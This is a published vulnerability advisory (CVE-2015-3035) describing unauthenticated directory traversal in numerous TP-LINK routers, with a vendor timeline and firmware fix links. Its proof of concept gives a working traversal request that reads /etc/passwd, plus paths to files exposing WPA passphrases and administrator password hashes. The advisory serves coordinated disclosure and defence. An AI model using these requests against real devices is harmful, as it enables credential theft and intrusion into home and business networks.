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TP-LINK Local File Disclosure

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SEC Consult Vulnerability Lab Security Advisory < 20150410-0 >

=======================================================================

title: Unauthenticated Local File Disclosure

product: Multiple TP-LINK products (see Vulnerable / tested versions)

vulnerable version: Multiple (see Vulnerable / tested versions)

fixed version: see Solution

CVE number: CVE-2015-3035

impact: Critical

homepage: Welcome to TP-LINK

found: 2015-02-19

by: Stefan Viehb??ck (Office Vienna)

SEC Consult Vulnerability Lab

An integrated part of SEC Consult

Berlin - Frankfurt/Main - Montreal - Singapore

Vienna (HQ) - Vilnius - Zurich

https://www.sec-consult.com

=======================================================================

Vendor description:

-------------------

"TP-LINK is a global provider of SOHO & SMB networking products and the World's

No.1 provider of WLAN products, with products available in over 120 countries

to tens of millions customers. Committed to intensive R&D, efficient production

and strict quality management, TP-LINK continues to provide award-winning

networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline

Adapters, Print Servers, Media Converters and Network Adapters for Global

end-users."

Source: About TP-LINK - Welcome to TP-LINK

Business recommendation:

------------------------

Attackers can read sensitive configuration files without prior authentication.

These files e.g. include the administrator credentials and the WPA passphrase.

TP-LINK has provided fixed firmware which should be installed immediately.

Vulnerability overview/description:

-----------------------------------

Because of insufficient input validation, arbitrary local files can be

disclosed. Files that include passwords and other sensitive information can

be accessed.

Proof of concept:

-----------------

The following HTTP request shows how directory traversal can be used to gain

access to files without prior authentication:

===============================================================================

GET /login/../../../etc/passwd HTTP/1.1

Host: $host

===============================================================================

The server response includes the contents of the file:

===============================================================================

HTTP/1.1 200 OK

Server: Router Webserver

Connection: Keep-Alive

Keep-Alive:

Persist:

WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"

Content-Length: 683

Content-Type: text/html

root:x:0:0:root:/root:/bin/sh

Admin:x:0:0:root:/root:/bin/sh

bin:x:1:1:bin:/bin:/bin/sh

daemon:x:2:2:daemon:/usr/sbin:/bin/sh

adm:x:3:4:adm:/adm:/bin/sh

lp:x:4:7:lp:/var/spool/lpd:/bin/sh

sync:x:5:0:sync:/bin:/bin/sync

shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh

operator:x:11:0:Operator:/var:/bin/sh

nobody:x:65534:65534:nobody:/home:/bin/sh

ap71:x:500:0:Linux User,,,:/root:/bin/sh

dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh

admin:x:500:500:admin:/home:/bin/sh

guest:x:500:500:guest:/home:/bin/sh

dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh

dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh

===============================================================================

Several sensitive files can be read. These include:

Files containing Wi-Fi configuration including WPA-passphrase:

/login/../../../tmp/ath.ap_bss

/login/../../../tmp/ath1.ap_bss

A file containing administrator credentials (format: $user:md5($password), which can

be brute-forced very efficiently:

/login/../../../tmp/dropbear/dropbearpwd

Example server response:

===============================================================================

HTTP/1.1 200 OK

Server: Router Webserver

Connection: Keep-Alive

Keep-Alive:

Persist:

WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"

Content-Length: 56

Content-Type: text/html

username:admin

password:11d0fc2ff3e7862d8a3f9b280e6d390c

===============================================================================

Vulnerable / tested versions:

-----------------------------

The vulnerability affects the following products:

TP-LINK Archer C5 (Hardware version 1.2)

TP-LINK Archer C7 (Hardware version 2.0)

TP-LINK Archer C8 (Hardware version 1.0)

TP-LINK Archer C9 (Hardware version 1.0)

TP-LINK TL-WDR3500 (Hardware version 1.0)

TP-LINK TL-WDR3600 (Hardware version 1.0)

TP-LINK TL-WDR4300 (Hardware version 1.0)

TP-LINK TL-WR740N (Hardware version 5.0)

TP-LINK TL-WR741ND (Hardware version 5.0)

TP-LINK TL-WR841N (Hardware version 9.0)

TP-LINK TL-WR841N (Hardware version 10.0)

TP-LINK TL-WR841ND (Hardware version 9.0)

TP-LINK TL-WR841ND (Hardware version 10.0)

Vendor contact timeline:

------------------------

2015-02-19: Contacting vendor through support@tp-link.com.

2015-02-24: Resending email as previous ticket has been closed by TP-LINK.

2015-02-24: Contacting technical support engineer of TP-LINK, contact received

by 3rd party.

2015-02-25: Requesting encryption keys, providing affected models.

2015-02-26: No encryption keys available, sending advisory in unencrypted form.

2015-02-28: Vendor confirms vulnerability, provides beta firmware.

2015-03-03: Sending confirmation that beta firmware fixes the vulnerability.

2015-03-06: Vendor is working on release schedule, affected devices.

2015-03-16: Vendor announces that fixed firmware will be released by the end of

March.

2015-03-24: Vendor confirms that firmware releases are on schedule.

2015-04-08: Vendor provides final list of affected products & download URLs.

2015-04-10: Coordinated release of security advisory.

Solution:

---------

Update to the most recent firmware version:

TP-LINK Archer C5 (Hardware version 1.2): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13048

TP-LINK Archer C7 (Hardware version 2.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13008

TP-LINK Archer C8 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13052

TP-LINK Archer C9 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13020

TP-LINK TL-WDR3500 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13018

TP-LINK TL-WDR3600 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13019

TP-LINK TL-WDR4300 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13009

TP-LINK TL-WR740N (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13012

TP-LINK TL-WR741ND (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13013

TP-LINK TL-WR841N (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13033

TP-LINK TL-WR841N (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13036

TP-LINK TL-WR841ND (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13035

TP-LINK TL-WR841ND (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13037

Workaround:

-----------

See solution.

Advisory URL:

-------------

https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult

Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab

The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It

ensures the continued knowledge gain of SEC Consult in the field of network

and application security to stay ahead of the attacker. The SEC Consult

Vulnerability Lab supports high-quality penetration testing and the evaluation

of new offensive and defensive technologies for our customers. Hence our

customers obtain the most current information about vulnerabilities and valid

recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Interested to work with the experts of SEC Consult?

Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?

Contact our local offices https://www.sec-consult.com/en/About/Contact.htm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com

Web: https://www.sec-consult.com

Blog: http://blog.sec-consult.com

Twitter: https://twitter.com/sec_consult

EOF Stefan Viehb??ck / @2015

Source: http://packetstorm.wowhacker.com/1504-exploits/SA-20150410-0.txt

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